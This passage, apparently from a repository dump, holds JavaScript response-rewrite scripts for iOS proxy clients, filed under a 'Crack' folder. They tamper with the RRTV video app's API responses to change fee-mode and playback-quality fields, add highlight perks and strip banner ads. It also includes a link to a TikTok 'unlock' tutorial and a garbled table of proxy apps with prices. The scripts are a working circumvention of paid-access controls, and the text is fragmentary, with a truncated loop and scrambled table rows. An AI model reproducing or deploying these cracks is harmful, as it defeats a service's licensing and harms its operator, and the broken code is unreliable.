endTime":9999940148000},{"id":25,"effectObject":"nickName","action":"show","function":"nameHighLight","func":"nameHighLight","description":"高亮昵称","icon":"gaoliangnicheng","endTime":9999940148000},{"id":24,"effectObject":"comment","action":"write","function":"highLight","func":"highLight","description":"高亮评论回复","icon":"https://img.rr.tv/static/images/20170926/HighLigthComment@2x.png","endTime":9999940148000},{"id":20,"effectObject":"article","action":"write","function":"highLight","func":"highLight","description":"高亮发帖","icon":"gaoliangfatie","endTime":9999940148000}];
13 | body = JSON.stringify(obj);
14 | }else if(url.indexOf('/rrtv-video/v4plus/season/detail') != -1){
15 | var obj = JSON.parse(body);
16 | obj.data['season']['feeMode'] = 'restriction';
17 | body = JSON.stringify(obj);
18 | }else if(url.indexOf('/get_combined_drama_detail') != -1){
19 | body = $response.body.replace(/currentQuality":"\w+/g, 'currentQuality":"AI_OD');
20 | }
21 | $done({ body });
22 |
--------------------------------------------------------------------------------
/Crack/rrtv_tab_home.js:
--------------------------------------------------------------------------------
1 | let body = $response.body
2 | body = JSON.parse(body)
3 |
4 | delete body.data.bannerTop;
5 | for(i = 0;i
5 |
61 |
--------------------------------------------------------------------------------
/Tiktok/README.md:
--------------------------------------------------------------------------------
1 | ## [Tiktok解锁教程](https://github.com/Semporia/TikTok-Unlock)
2 |
--------------------------------------------------------------------------------
6 |
10 | 类别
7 | 地址
8 | 备注
9 |
11 |
15 | Windows
12 | Clash
13 | Fndroid
14 |
16 |
19 | 镜像1
17 |
18 |
20 |
23 | 镜像2
21 |
22 |
24 |
25 |
26 |
30 | MacOS
27 | Clash
28 |
29 |
31 |
35 | 安卓
32 | Clash
33 |
34 |
36 |
40 | IOS付费
37 | Shadowrocket
38 |
$2.99最佳代理工具
39 |
41 |
44 | QuantumultX
42 |
$7.99YYDS
43 |
45 |
48 | Loon $4.99
46 |
47 |
49 |
52 | Surge $49.99
50 | 功能性订阅
51 |
53 |
56 | Choc $2.99
54 |
55 |
57 |
60 | Stash $2.99
58 |
59 |